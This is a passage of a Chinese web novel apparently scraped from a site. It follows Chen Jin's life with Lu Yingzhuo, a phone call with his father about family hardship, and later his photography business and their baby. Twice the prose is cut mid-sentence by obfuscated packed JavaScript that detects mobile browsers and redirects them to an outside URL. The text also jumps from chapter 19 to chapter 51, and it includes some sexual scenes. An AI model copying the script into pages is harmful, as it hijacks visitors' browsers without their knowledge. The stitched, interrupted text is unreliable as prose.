陈今一怒,一把推开他,“你拿我当小狗呢!” 陆应倬露出点点笑意。 “全买单了,一个人待着放松点,有事儿给我打电话。” “要走赶紧走!” 陈今抓起筷子,长臂一展在各个盘子里搜刮吃的,他才吃了个六分饱,真是不得劲儿。 陆应倬真走了。 陈今一边吃一边盯着他背影。 最后一刻被即将出门的人抓包,他也不恼,还脑子一热说:“……能早点回来么?” 其实他想回家睡觉。 陆应倬说:“好。” 好。 多么温柔坚定的一个字。 陈今也不去理解为什么他突然不毒舌了,露出一个发自内心的笑,随便和他摆两下手,“走吧走吧!” 人一走。 陈今乖乖把自己肚子填饱了。 站起来走动消食,有一个身着正装的经理进来,“先生,您觉得今天的菜味道怎么样?” “嗯?” 陈今刚要评价。 皮包里的铃声传出来,他抬手说了句稍等,拿起来一看,立刻接了:“喂爸——” 经理主动示意自己先出去等待。 陈今捂住听筒点头。 “谢谢啊。” “和你妈妈说好了,怎么突然又不回来?” 陈川峰语气说严肃不严肃,温柔也不到哪里去,让人听着有点压迫感,尤其这句带着质问的话。 陈今却笑了,“忙呢!” “诶老头,我和你说,我最近找了个新活儿干。” 陈川峰也接他的话:“什么?” “就之前兼职老板娘介绍的。” 陈今和他一五一十地说:“我和你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220164|181484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说啊我就弄半个多月,站大厅带人找衣服什么的,一点儿也不用在外面跑,之前那送外卖捂着我可难受了,尤其是天热的时候,哎哟……” 曾芸不知道他跑兼职送外卖的事情。 陈川峰却是知道的。 陈今说得毫无压力。 他们老陈家就是这样——男人能顶事儿,能养家,不在女人面前喊苦喊累,尤其是曾芸从小到大没少宠他,小时候,没走路之前,陈今都是爸妈怀里抱大的。 家里就他一个娃,养得比人家姑娘还娇气。 好在根儿没坏。 陈今被惯着惯着,也好好长成个正直大小伙子。 不过很多事情,他和自己老爹达成共识,不能让家里的主心骨曾芸女士知道,比如,他陈今为了点钱在外面累死累活。 陈今不说。 他怕他老妈心疼。 曾芸之前生了场大病。 一家三口搬来首都也是这个原因:罕见神经系统疾病,老家江市最好的医院治不了,治了瘫痪的风险也很大。 花钱如流水。 那一阵子,一家人天天住在医院。 医保能报销的范围少,进口药不便宜,三年搭进去一百来万。 眼看曾芸人越来越消瘦,说话也说不出,陈今也没了小时候的调皮劲儿,一放假,同龄的男孩子在家打游戏,他就往医院赶给妈妈端尿盆洗衣服。 陈川峰和和气气一辈子。 曾芸病倒那段日子,他到处借钱,到处找人打听。 终于得到消息说首都有两例这样的病症,陈川峰一转头,便将乡下三层的老宅子一卖,祖屋没了,两个在外地打工的弟弟对他大打出手,他转头收拾东西,带着妻子儿子跑去首都求医,一大家子闹得很难看。 七年。 一家子人再也没联系过。 只有嫁到江市市区的陈今的姑姑,陈燕,偶尔打电话来问候搬到首都的大哥大嫂,也是她,照顾陈今在江市读了三年高中——从小学习就略显吃力的他,寒暑假在江市首都之间往返跑,终于苦逼逼读完了高中,用尽全力还一直四百出头的分数,没想到,高考多考了一百来分,超常发挥,上了首都的本科。 总之。 曾芸这几年才完全好转。 每年还要体检吃药。 陈川峰不敢离开首都。 一家人只要在一起,在哪儿都好,闲下来了,便挑了个稍微偏一点的地儿住。 曾芸瞧着和气开朗,实则是个心思细腻的女人。 她时常觉得自己拖累了丈夫儿子。 曾经手脚刚刚能动弹,还悄悄想要吞药自杀,那次被陈今发现拦下来了。 因此,陈今很多事情不敢和母亲挑明。 不过好在父子俩关系很是亲近,对陈川峰,他一向有话直说。 陈今又说了许多工作上的事儿。 “那可以啊。”陈川峰这么说,又顺着问他:“要站一天呢?” “九点才上班,六点半滚蛋。” 陈今抠着手说:“时薪一百还有提成,牛不牛?” “听着挺厉害,这活儿还成,不吹不晒的。”陈创峰笑了两声,又说:“这么个事儿你也没和你妈说清楚,整得她一天到晚念。” “老妈呢?” 陈今坐起来问。 “你妈在店里头睡觉着凉了,吃了药,睡得早。” 陈川峰这么提了一句。 陈今立刻站了起来,“没其他事儿吧?就咳嗽,发烧没得?” “你别瞎操心。” “也就是怕你听出来,她这几天才没打电话给你的,你没事儿就说一声,我和你妈过去看你也成,又不要你照顾,这都多久没回家了?” 陈今也怪想的。 “我……” “你是不是遇着事儿了?” 陈川峰最是了解儿子,硬眉毛一皱,“欠钱了还是和人闹了,我和你说这里不比家里头,算了……我明儿请假过去。” 陈今叹了口气。 “我现在都不住那儿了,住别人家。” “为啥呢?这也不好啊。” 陈川峰说:“爸给你转钱,你在外头找个酒店住,不然久了朋友不说,其实心里也不舒服,晓不晓得?” “别给我转!” 陈今有苦说不出,“哎呀,我一时半会儿解释不清楚……” 怎么说啊? 他和男人乱搞就算了,还搞出人命了?? “哪有那么复杂?” 陈川峰也是很有耐心,想到一层,“小今,你是不是谈对象了?” 19. 第 19 章 陈今突然的沉默。 在陈川峰看来,就是实实在在的害羞,他一下子就笑了,“你这孩子,谈个对象有什么不好说的。” “这不是还没稳定呢……” 陈今反应过来接上话。 对对对,就这么说,先就说谈上了,这个理由好! 不仅足够解燃眉之急。 还是个长期能拿来打幌子的借口…… “那敢情好。” 陈川峰眉毛舒展了,不过转念一想,不太对,“所以你这是……住人姑娘家里头呢?” 陈今囫囵吞枣般嗯了一句。 “就……他有点黏我,见我要找房子就让我暂时住着……嗯,我找到地儿就搬出去。” “本地的孩子吗?听着条件比我们家好不少。”陈川峰听着也开心,说话和缓下来:“你从小到大就优秀,性格又好,爸知道你不缺女孩子喜欢,可是你也不能占人家姑娘便宜,搞对象的时候就别抠搜了。” “我知道我知道……” 陈今反射弧也完成了,“诶老头,有你这么说你儿子的?” “你对自己总抠搜的。” 陈川峰直说:“这不是你的缺点,是爸爸不好,没给你创造好条件,你妈妈生病那几年让你怕了,爸也没像小时候一样好好照顾你,你妈老和我提你突然就长大了,真舍不得。” 陈今抓紧了手机。 眼眶逐渐湿润,他抬起头看天花板,轻声说:“……才不是的。” “不说这个了,早点休息。” 陈川峰要挂电话。 陈今还有点依依不舍,“老头你先挂吧。” 对面挂了。 陈今却是久久回不过神来,他捏紧手机,点开陈川峰的聊天框,发了条语音:“老头,元旦放假我回去和你还有妈商量个事儿。” 是该说了。 身体的事情,他最不想瞒着的就是爸妈。 陈今关上手机之前,弹窗出来了新的消息,他一看是支付宝的—— 【**峰转账给你 25000.00】 陈今一愣。 父亲同一时间发信息过来:「你和人家姑娘出去主动买单,买点花儿啊礼物什么的,大方点,听到没有?」 陈今怕打扰父母休息,没过多据理力争:「嗯。」 给谁花? 陆应倬根本就不缺钱。 陈今想到自己身上那张他的副卡,压根儿都没动过——原本是要给小崽子花的,可人还没出生,到现在为止产检、营养品和吃饭陆应倬全权包揽。 还真就不用花钱。 “先生?” 服务经理重新敲了门。 陈今让人进来,主动对菜品做了评价。 经理微笑引导:“陆总已经为您安排好了,请先生您和我来。” 这么大一家高级会所,不至于把他卖了。 陈今跟着经理走。 有人帮他拿包,有人帮他挂外套,给他置换的衣物,是一套宽松的上下洗浴服,舒舒服服冲了个热水澡,他整个人放松下来。 紧接着,还有专业按摩师进来。 一套下来。 陈今舒服到昏昏欲睡。 只是有点疑惑为什么不全面,比如,按摩师特意在他肩颈和腰身最敏感酸软的地方,还避开了。 陈今问:“可以大力一点吗?” 按摩师耐心回答:“陆总嘱咐过您身体调理中,配合药物,需要避开一些穴位。” “是吗?” 陈今最终躺靠在沙发椅上。 师傅按腿的力道和手法是真舒服,他连连感叹,漫不经心拿出手机开始搜,结果出来一堆不知是恐吓还是科普的东西:不当按摩会刺激宫缩,严重导致流产。 啥玩意儿? 这么脆弱的吗? 那他最危险的孕早期三个月,上窜下跳爬楼翻栏杆,还给摄影馆搬器材算什么? 说是这么说。 陈今觉得陆应倬不至于相信虚假信息,但肯定问过医生了。 听劝是美好品德。 沙发椅被放平了一些。 室内轻缓的音乐和精油香气让人昏昏欲睡,陈今累了一天的身体自动进入休眠模式。 他感觉自己睡了挺久的。 室内光线太暗了,他伸了个懒腰,懵圈儿中手腕被人握住,那只手轻柔蹭着他手背,捏摸,像是安抚。 陈今吓得一个翻身坐起。 陆应倬侧颜忽明忽暗,对上他眼睛,自然收回手,“醒了?” “你乱摸我干嘛?” 陈今也是一点儿不含蓄,皱眉:“变态啊?” 陆应倬看他:“睡相多差自己知道吗?” 陈今:“?” 他才不会被绕进去,“那又怎么了,这和你主动摸我有什么关系!” “给你盖个毯子被抓着不放,拿开还不耐烦。”陆应倬也丝毫不惯着,触控打开灯光,露出手腕上的浅浅牙印,问他:“谁干的?” 陈今:“……” “说不定你自己啃的。” 陆应倬也不和他计较,合起商务笔记本,拿出手机联系司机:“换衣服回家,很晚了。” 陈今又偷偷瞥他手腕上的牙印。 不是很重,但是印子一直没消失,感觉像是被人当磨牙棒放嘴里搁着,被啃的那只,和贴着纱布的手还不是同一只。 两只手。 一只狗咬的,一只……他干的。 陈今脸有点热。 即使他还是非常怀疑这件事情的真实性,去换回自己的衣服,“走吧。” 十一点。 两人回到青徽公馆。 陈今也还有点犯困,在楼梯上就开始打哈欠,不忘说:“今天谢谢你带我去按摩,我先回去睡觉了,明天还要上班……” 陆应倬看着他回房间。 “你也早点睡。” 陈今关门之前说。 …… 之后的三天。 不知道是工作太忙还是家里有事,陆应倬没回青徽公馆。 一次,何卫澜回来拿文件,陈今也因为QIU开业太忙,加班了一个小时没赶上,错过了。 陆应倬没主动说自己去干嘛,陈今也没问。 他适应得非常好。 青徽公馆没有闲杂人等,也没有想象的那么多规矩,离他打工的地方都不远,简直是为他提供了极大的便利。 陆应倬虽然喜欢安排人。 可陈今也发现了。 绝大多数时间,这人都很纵容他的加入,就算他忍不住炸毛,动不动大呼小叫,陆应倬也没有任何把他赶出去的意思。 很大度了。 最舒服的,当属陈今和张阿姨混得很熟。 块头也有改变。 陈今一回来就和他黏糊,也不像之前每天趴在门口等陆应倬,仿佛认了另一个主儿。 陈今总有种鸠占鹊巢的不真实感。 这日下班,陈今回家之前照例去以往兼职的咖啡店,一进去,店员就给他递来了密封好的咖啡杯,“你的奶油!” “谢了。” 陈今扫了钱,拿过,问店员:“小艾姐最近一直没来?好久没看到她了。” “好像说是周末要去山里露营,还是泡温泉?这几天和闺蜜去外地shopping了。”店员把标签贴上外带的咖啡杯,笑着说:“没事,过两天肯定能看见朋友圈美照。” “也是。” 陈今记起来方昊上次说秦柯意也要去,“我先走了。” 他把奶油杯袋子挂在支架。 骑车回家第一件事,包包挎到背后,脱了鞋一换,“小狗头!” 无狗回应。 陈今裤兜嗡嗡响,他掏出来一看。 失踪人口回归了。 陆应倬:「饭好了在桌上,自己吃,我让张阿姨带块头来医院看耳朵恢复情况。」 陈今把奶油放进冰箱。 靠着料理台回复:「(ok)」 他盛饭出去坐下。 一眼看到桌上热气腾腾的饭菜,张阿姨估计也是刚出门没多久。 等等—— 陆应倬怎么知道他到家了? 陈今皱了皱眉。 放下筷子站起来,巡视一圈都找不到证据,干脆直接发消息问:「家里有监控?」 陆应倬隔了五分钟回他:「嗯。」 「公共区域有,你餐桌正对的方向,抬头,往左吊篮正顶上。」 陈今看向他说的那个位置。 果然有个方方正正洁白的小东西。 最主要的是,连个摄像头形状都没有,看着倒像是什么香薰似的。 他坐回去。 一个人吃一桌子菜是爽啊。 但是他一想到对面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16220165|181484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人看着,就立刻不得劲儿了。 三天没在家。 陆应倬会不会观察他的一举一动? 陈今还突然想起一件事。 昨天他下班回来太累了,是不是趴地上和狗玩儿来着? “……” 不问就是不说,问了就诚实回答,搞这一套。 实在没忍住—— 陈今对那白净的摄像头翻了个白眼,端起碗坐去对面,吃完顺道把碗洗了。 他关心小狗,给陆应倬发:「怎么样了?」 陆应倬:「我一会儿还有事,晚点回。」 陈今:「……」 「?谁问你了?」 陆应倬那边直接不回复了。 陈今觉得好笑,给张阿姨去了个视频,对面秒接,“小今啊,到家吃完饭了没有?” “吃了的!” 陈今立刻发问:“张阿姨怎么样啦?” “医生说恢复还可以的,以后毛长起来,不会特别难看。” 张阿姨带着镜头去找狗,只一眼,陈今注意到一晃而过的高大身形,正一手撑在消毒台前,和医生一同查看小狗的伤势。 他在的。 陈今坐上地毯,把手机竖靠在杯子上,趴在茶几上看。 “伤口还不好看呢,不给你看了,别吓着你。” 张阿姨在镜头后热心解说,又道:“啊……是小今打来的视频,说要看看,担心着呢,好的那给您——” 陈今:“!!!” 他当机立断把视频挂了。 完了想起还有监控。 他怕陆应倬生气,起身,装很忙的样子往电梯那儿走,去了二楼。 回了房间。 陈今松了口气。 好几天没见了,又没有两句聊天,打视频怪尴尬的。 张阿姨和块头在医院待了快两个小时。 小狗被乖乖擦了脚,进入客厅就要去找人,张阿姨给它按了电梯,“来来来,这里。” 陈今刚洗了澡出来。 听到门框被扒拉的声音,走过去,刚打开一条缝,一个黑黑的湿润的小鼻子拱开。 “小狗头小狗头~” 陈今蹲下来抱在怀里深深吸了一口,笑道:“你还洗澡了?” 块头和他闹了一会儿。 耳朵上的纱布拆了换新,为了透气,只有薄薄一层了。 好不容易准时下班,陈今在书桌铺了张塑料纸。 他脚没干懒得穿鞋了,干脆踩在地板上,块头便过去坐下用肚子压着他,趴地上看。 “小乖狗……” 陈今捏着手里的白黏土,时不时脚趾捻两根小狗毛。 看看手机图解教程,捏捏白泥巴,塞进去一块儿磁铁,手里的本体成型了,他又开始搓另一个配件,组装到一起。 咚、咚。 陈今回头一看,眼神一顿,故作淡定地转回来,“不是晚点回吗?” 这话更加奇怪了。 怎么感觉有种他妈对他爸说的话?好熟悉。 “这几天出差了。” 陆应倬一靠近床边,陈今立马就要炸毛,没想到人家直接略过床尾到了他书桌前,带出放在长书桌角落的干净木凳坐下。 陈今心想算你识相。 “刚那么急挂电话,就为了上楼做这个?” 陆应倬抓起他做好的黏土。 “先不能碰!” 陈今抢回来发现凹下去一个坑,“我好不容易搓的,刚刚多完美,我纹理都没了!” 陆应倬拿的是一个橘子。 他看出来是什么,不由看向衣架上他皮包挂件,“不是有几个了吗?你一个大男人就这点儿兴趣爱好?” “答应别人的。” 陈今心不在焉回他一句。 怎么补救也是不完美了,草了,他一巴掌拍瘪,“看你干的好事!” 陆应倬看着那个橙绿色混合物体。 突然,把他凳子拉近。 咫尺之间。 两人呼吸声渐近。 陆应倬忽然皱眉,“陈今,你怎么总是在生气?” 陈今:“……” 他也愣住了。 对啊。 为什么? 为什么他一面对陆应倬就生气? 明明是很小的事情,明明他对所有人都有耐心,明明他不搞事情的。 50-53 第51章 第 51 章 二合一 “平时上镜表现习惯呢?” “左边好一点。” “好, 尽量找你自然舒展的左位,天气比较热,可以适当听一下我的指示。” “OKOK!” 地点变换。 陈今试了几张人像。 他在相机上做参数调整, 踩好站位, 抓拍后给顾客展示问询, “可以再给我多一点眼神,是不是光有点刺眼?” “哇——” 女顾客陡然捂嘴。 手指在他的屏幕点了点, 发现不能触屏,“你好会拍啊……天呐,这个相机型号是什么,前面这张放大我看一下。” 陈今调大那张试拍图。 从第一张开始, 往后每一张,顾客眼前一亮又一亮。 女顾客拉过一旁观战的好友, 当面大夸特夸,拿出手机拍下相机屏上的原片, “等等我先发条朋友圈预告!” 陈今一笑。 他今天只是摄影师。 黑色口罩挡不住优越的五官和谐度, 光影下忽明忽暗的茶棕色桃眼。 “加个微信吧。” 女顾客那位朋友上前,“可以和你约下一次拍摄的时间吗?” 送上门的交易。 陈今没有拒绝的道理,拿出手机, “好。” “我约拍有加他微信呀,你问我要不就好了宝宝……”女顾客被朋友拉走的时候问了句,发觉好友又看陈今, 立刻了然:“好家伙,一大早陪我化妆来的时候你还不情不愿……” 朋友:“非也非也。” 陈今:“休息好了吗?中午会越来越热, 这个光线不拍可惜了。” 女顾客吸一口冰咖啡,补了个妆,“来来来!” 陈今投入拍摄工作。 他专注做事的时候不紧不慢, 效率和耐心都高得出奇,十一点不到就可以收工了。 “刚刚看的都要了吧,发不了朋友圈的我发微博和社交账号。”女顾客还在看相机原片,“帮我全精修,打包底片全部带走。” 陈今面对爽快顾客也大方,“我给你打折。” “没事啊,这个质量你特别便宜了!” 女顾客看朋友提着新咖啡回来,递给了陈今:“辛苦了老师,中午我们请你吃饭?” 女顾客举着小风扇扇风,看朋友操作。 陈今还在确认素材可用情况,接下咖啡放在一旁,冲人笑,“抱歉,一会儿还有事。” 几人道别感谢。 女顾客和朋友回程时说:“这个摄影师本人长得和精修图一样,技术也抗打,要不是看到他主页作品我真不想找男摄哦。” 朋友:“确实不能刻板印象。” “快看看他朋友圈儿有没有对象——” 女顾客:“你太明显了呀宝儿,刚不是我说你……你觉得他这个长相能没有对象吗?” 朋友:“朋友圈没有啊。” 女顾客:“人家这是工作号,他主页照片少年气太足太有迷惑性了,现实一整个……” 朋友:“什么?” 女顾客:“漂亮人妻。” 朋友:“……能不能把你那些个破小说都丢了?” * 「开个位置共享。」 陈今还在湖边采风。 他把相机挂上脖子,回复陆应倬:「干什么?」 陆应倬:「我看看你在哪儿。」 陈今:「好吧。」 没工作在家带娃的媳妇儿可以理解。 陈今打开共享。 他打算给人打个视频,就觉得不太对劲……这个地图距离是不是有点太近了? 「两人正在共享位置。」 陆应倬一个全白的头像上,方向标从四处转动变成准确锁定,正在匀速朝他靠近。 陈今:“……” 怎么和鬼一样出现又飘过来了? 不是,怎么还走这么快啊? 公园里面不是不能停车的吗,这个速度也太诡异了。 来都来了。 陈今挂着手机,继续采风,一边往阶梯上走等人出现。 树荫底下走路有风。 光影美丽晃动,陈今走到一处卖烤肠的小车摊停下问:“多少钱一根?” “五块。” 陈今觉得好贵。 可在景区也算合理,于是让老板现戳了根刚爆开花的,坐上长椅等人出现。 比他想象的还快。 陈今扒拉手机—— 头像已经越过湖边一大截,距离他只有十几棵树,他看向人来的方向。 下一秒。 半根烤肠掉在地上。 一开始陈今还以为自己看错了,呆呆望着那个熟悉的黑白配色头盔,再然后,电动车在他面前停住,放下的还有双大长腿。 陆应倬把防风镜推上去。 那张脸衬托得黑色电动车和头盔都异常贵气。 “下工了?” 陈今:“……” “你就这么骑过来的?” 陆应倬:“你说我车太显眼了。” 说完他便下车,把长椅上的包都挂车上。 “相机给我。” 陆应倬要给他拿下来。 陈今微低头,看见了地上的烤肠尸体,用签子戳起来扔进垃圾桶:“看你给我吓的。” 陆应倬给他买了根新的。 陈今饿的时候五块一根的烤肠都不嫌贵了,还能吃第二根,一口咖啡一口烤肠。 陆应倬:“冰的?” 来了就要管这管那。 陈今据理力争:“少冰!而且这天气都要化了……” 陆应倬拿出备用头盔,“没说不能喝,我管的是频次问题,阿姨说你这周喝了很多冰果汁,一个不注意你就开冰箱。” 陈今:“我热啊。” 陆应倬撕开薄荷湿巾给他擦汗,瞬间降温,又吸干一遍确保干爽给人戴好头盔,“手。” 陈今换了只手拿烤肠,抬起就近的那只给他。 陆应倬脱掉他的防晒袖套,换成白色冰袖,凉飕飕的,就像一直扔在有冰砖的保温袋中,舒服得不行。 “这边交警少。” 陆应倬说:“我送你到地铁站,走过去太热了。” “好吧。” 陈今吃完了烤肠垫肚子。 把半杯冰咖啡递给陆应倬,看他毫不犹豫便喝,对他说:“骑车回去小心一点。” 陆应倬插上钥匙。 给他留了足够的位置,“上来。” 陈今坐上去贴着他问:“你都骑我电动车了,什么时候体验一下去送外卖?” 陆应倬:“可以试试。” 衣服被风吹起来。 湖边相对没有那么干热,风也舒服不少,带着陆应倬身上的檀木皮革香气窜入鼻尖。 陈今吃了教训。 不敢在两个人的时候说骚话。 只是搂住男人腰时,碰到腹肌,没忍住多摸了两下。 陆应倬:“再往下摸两把,憋得慌。” 陈今:“……” 他毫不犹豫一拳反捶到他肚子上。 一天到晚就在那儿硬硬硬! 今天他要出门打工,就昨儿一晚上没让人得逞,陆应倬那个嘴就没停过,抓到机会就各种开腔。 陈今到地铁站前下车,背起包,把头盔摘了丢给他说:“走了!” 陆应倬目送他进站。 大庭广众容易让人炸毛,他说:“饿了先吃饭,别等我,段柏钦约我谈事情。” 陈今回头,“你有钱吗?” 陆应倬前段时间强制把卡全解绑换人了,“你看着给我转点儿就行。” 陈今头也不回走了。 陆应倬看着他消失,还没启动车子,兜里就震了一下,一看被转了三千块。 陈今:「够么?」 陆应倬点退还:「太多了,他说了他买单。」 陈今:「(点赞)(点赞)」 陈今:「转账300.00」 陆应倬开心收下:「谢谢老婆。」 陈今:「。」 …… 隔两天还有拍摄。 陈今一周的时间都空出来了。 事实证明这是个明智的决定,不然光今天就有几十张图要修。 这单比较意外,挣了快有个小一千。 陈今很有干劲地在书房待了一下午,晚饭才出门,抱过软乎乎的崽子问:“我爸妈和陆应倬都没回来?” “说是店里这几天特别忙。” 张阿姨又说:“但先生不知道怎么还没……回了这是?” 陈今去到落地窗边。 院门开了,电动车灯照进来,他晃了晃小家伙的两只小脚,“你爹开电动车太有意思了。” 小耳朵自己捏小手,也有意思,“啊……” 陆应倬回家没直接抱儿子,一脸坦然:“喝酒了。” “就你这样还管我喝冰咖啡?” 陈今隐隐有冒火的趋势,但烧不起来,被捧脸接吻完觉得自己也要醉了。 “……” 什么酒还挺香。 晚上,哄完儿子睡觉,陆应倬目的性极强地把人压回卧室,“明天不出门,可以。” 陈今从挣扎到妥协。 到了后半程,他眼神有些飘忽不定,双膝自觉分离,继而失去焦点,“等、等一下。” 陆应倬:“等不了。” 陈今:“不行!我要——” 陆应倬护住他伤口的手下移,轻按,“垫了东西,没事。” 陈今:“……” 难怪吃完饭一直给他喂水果。 他面红耳赤地抓住男人的头发,从牙缝里挤出一句话:“你这人……” 陆应倬安慰他:“没事,块头之前刚来也用,不会漏。” 陈今:“……” 事后,陆应倬抱他进浴室。 陈今整个人红透了。 他恨不得一键清空刚才的记忆——陆应倬下了床,顺手就把淡蓝色的无纺布卷起来,扔在床角一边。 陈今被抱在浴缸时差点没单方面殴打一顿他,气得不行:“不和你一起洗!” 陆应倬:“对不起宝贝。” 陈今根本没等到后续。 整个人连生气的力气都没了,“滚出去换床单。” 陆应倬很老实:“好。” 一般他们两个的私人时间,陈今是绝对不会允许让张阿姨来整理房间的,陆应倬也赞同这一点——谁搞脏的谁换,搞和被搞界限分明,追本溯源只会有一个人收拾卫生。 陆应倬五分钟就能换套新的。 无他,唯手熟尔。 陈今趴在浴缸边缘,意识到一个大问题。 就是他让陆应倬当他的客服完全就是一个错误决定。 接单是需要协调时间的。 陆应倬完全能掌握他的所有出行时间! 太恐怖了。 陈今浑身打了一个哆嗦。 心里把招助理这件事提上日程,洗完澡他仍然腰酸背痛,躺着都难受。 陆应倬给他按了按,“这儿?” 陈今别过头不理他。 陆应倬也非常有经验。 这时候说什么都是糖衣炮弹,事后哄好话,一按就是四十多分钟,一个累字都不带喊的。 “……好了。” 陈今丢开他的手,拉过被子,“我要睡觉。” 陆应倬看了眼时间,“还有五分钟十一点,五分钟,你给我做一个新的挂件。” 陈今:“什么玩意儿?” “之前那坨花生。”陆应倬换了说法:“你给儿子做了那么多,我没有。” 陈今不太理解:“你拿一个啊。” 陆应倬:“我不和儿子抢东西,你搓,什么我都要。” 黏土工具都在之前的房间。 一出门,块头从自己的狗屋开了门,踩着肉垫就溜了过来。 小耳朵晚上睡得很早。 块头是很聪明的狗狗,夜里几乎不叫了。 陈今蹲下来,“被你抓包啦?” 两个人大半夜做手工。 陈今开了灯,撸起袖子踩着狗,看到陆应倬靠近又是一巴掌,“挡光。” 陆应倬换了一边挨着他。 又是一个条状物…… 陈今这次把长长的面条盘在了一起,完美到不能再完美的一个螺旋状物体,“给。” 陆应倬:“换一个。” 陈今:“你说什么都要的!” “我上班了天天挂公文包上。” 陆应倬看陈今光下白皙透粉的脸颊,潮红褪去一半,水润的眸带一抹嗔怒,“求你给我再做一个好看的。” 陈今:“……” 狗男人还能屈能伸。 陈今最后给他捏了一个爱心。 三百六十度无死角的圆胖,鼓鼓囊囊的一个立体桃心,光调色就试了三四种,最后呈现两种红粉渐变叠加。 “我不确定会不会瘪掉啊。” 陈今觉得一个大男人带这个出门也很诡异,“颜色烤完之后要变的,不好看我也不改了,好晚了。” 陆应倬:“好看,我喜欢。” 陈今一把拽起块头的狗头,“去睡觉了宝宝。” 陆应倬:“好。” 陈今:“……我没叫你。” …… 夏去秋来。 陈今的摄影业务逐渐拓宽成型。 八月底,他的办公地点从青徽公馆的书房迁移,到了开车距家二十分钟的地方,租了一个一楼带院子的房子,作为他自主创业的公司。 他招了两个合眼缘的员工。 一个助理一个化妆师,一男一女。 陈今从打工人摇身一变成老板。 即使这样,每个月他会抽一周时间报班上课,每天三小时,学习更多摄影知识。 精力多到没边。 化妆师白迅比陈今大一岁。 每每看到自家老板有娃有对象——陆应倬经常来走动,忙的时候他也会帮忙干客服,和陈今两个人偶尔给儿子打视频,工作室两个小伙伴都见识过。 白迅不语,只是一味地抓事业。 陈今知道她在网上发帖免费化妆。 一次两次之后,他直接找到人说:“你有喜欢的化妆师收学徒吗,公司每个月都放一周假,你想去的话学费我给你报销。” 于是,白迅也加入学习一族。 她本身基础就不错,对工作上心,有想法有态度,学了两个月归来后,陈今连续接了三个单主,无一例外都有重点夸化妆师技术好。 几个小年轻凑在一起。 琢磨出了一个只有三个人的小公司。 知名度专业度稳步上升,账号运营得风生水起,粉丝破了第一个十万。 不再有订单焦虑。 陈今有了事业也没直接大搞特搞。 他硬生生把一份自由创业安排成了早七晚六,每个月最后一周连放七天假。 公司员工也有福了。 没办法,老板可不是什么单身人士,有老攻还有崽啊! 忙的时候偶尔加班。 陆应倬带小耳朵来接人下班。 崽儿越长越开,四个月,五个月各有各的可爱,第一次来公司亮相就把白迅和林康乐惊呆了。 太可爱了! 小耳朵还小,眉眼更像陈今。 因此不用对外解释太多其中缘由。 小耳朵在陆应倬怀里的时候就自己玩儿,看到陈今了就笑,张开手要抱抱,“啊……” 助理林康乐更外向一些。 第一次看宝宝来只是眼馋,第二次第三次…… 天冷下来,小耳朵衣服穿得多了,让人不害怕弄疼他了,小家伙还能懵懵懂懂无意识喊两声啪啪,林康乐立刻消毒洗手去要孩子了。 第一次抱到那个触感,软乎! 老板的崽儿天下第一萌。 白迅经常性手背色彩缤纷,洗了好几次手,才捏着宝宝两只小手歪着头,逗他,“天呐……我还以为是女孩子,漂亮宝宝。” 小耳朵也歪头盯着姐姐。 婴儿肥嫩嘟嘟的,戳一下比年糕还白还弹软,一点儿也不怕生,不笑的时候那个灵动萌! “小睫毛精。” 白迅心都软了,“这个婴儿弯呜呜呜画都画不出来……” * 十月底。 陈今照例给自己放假。 这次比较凑巧,不仅能陪小耳朵吃新的辅食,还撞上了出行计划,“段纪宁搬什么家?他不是有房子吗。” 陆应倬:“不在市区,地方是个好地方,有山水,那片区晴天能用望远镜看星星。” 张阿姨给宝宝做了贝贝南瓜泥。 小耳朵长乳牙了,白白的两颗嘴巴张开就能看到,嗷呜一口吃掉爸爸递过来的一切食物。 陈今刮掉他抿出来的糊糊。 月嫂给崽子整理饭兜时笑:“会吃饭最好了。” 小耳朵吃相分外可爱,被一群大人围观也专心致志盯着爸爸手里的勺子。 “再看要斗鸡眼了。” 陈今一定要看着他吃完才挖下一勺。 崽儿又吃到一口,眯了眯眼睛。 他穿着奶奶给做的小褂子,蓝底纹绣花浅金色,金贵可爱,肚子那儿吃得鼓鼓的把衣裳顶出来。 “空盘了。” 陈今给宝宝展示碗。 月嫂抱走舔嘴角的宝宝,再不去擦嘴巴就没得擦了。 接下来是大人们的饭局。 段纪宁要搬新家,请帖也没发。 陈今还觉得有点不妥,“可是他也没和我打电话,我要去吗?” 主人家都没发话。 巴巴跟着去多没必要啊。 陆应倬:“看他不顺眼?” “没有。”陈今早就认为那些事烟消云散了,“但万一他看我不顺眼呢,他都没——” “嗡嗡嗡……” 陆应倬帮他拿过手机,反转屏幕,“来了。” 陈今看到一串陌生号码。 他和段纪宁连个微信都没有,更别说电话了,对面似乎也不确定:“陈今?” 陈今:“我是。” “和陆哥来我新别墅聚一下。” 段纪宁邀请人还是和发号施令一样,“哦,记得带你儿子,他长大了没有?” 陈今:“……” 说的都是些什么话啊。 陆应倬见他挂断电话,一脸习惯了,笑道:“他现在说话态度不错了。” 陈今:“红包多少钱合适?” “你看着给。” 陆应倬想到之前都是送车送地,没新意,“随二百吧。” 陈今还真想这么干。 但他没有,宝宝满月宴的时候段纪宁给的红包是一张支票,金额是一百万,他可给不起。 陈今最会的就是淘东西。 在同城的帖子市场上逛逛看看,还真让他相中一个有意思的京都古玩,最重要的是,没有拆封过,包装盒就非常有上个世纪的年代感和童趣。 出行这日,天气大晴。 陆应倬少不了要喝酒。 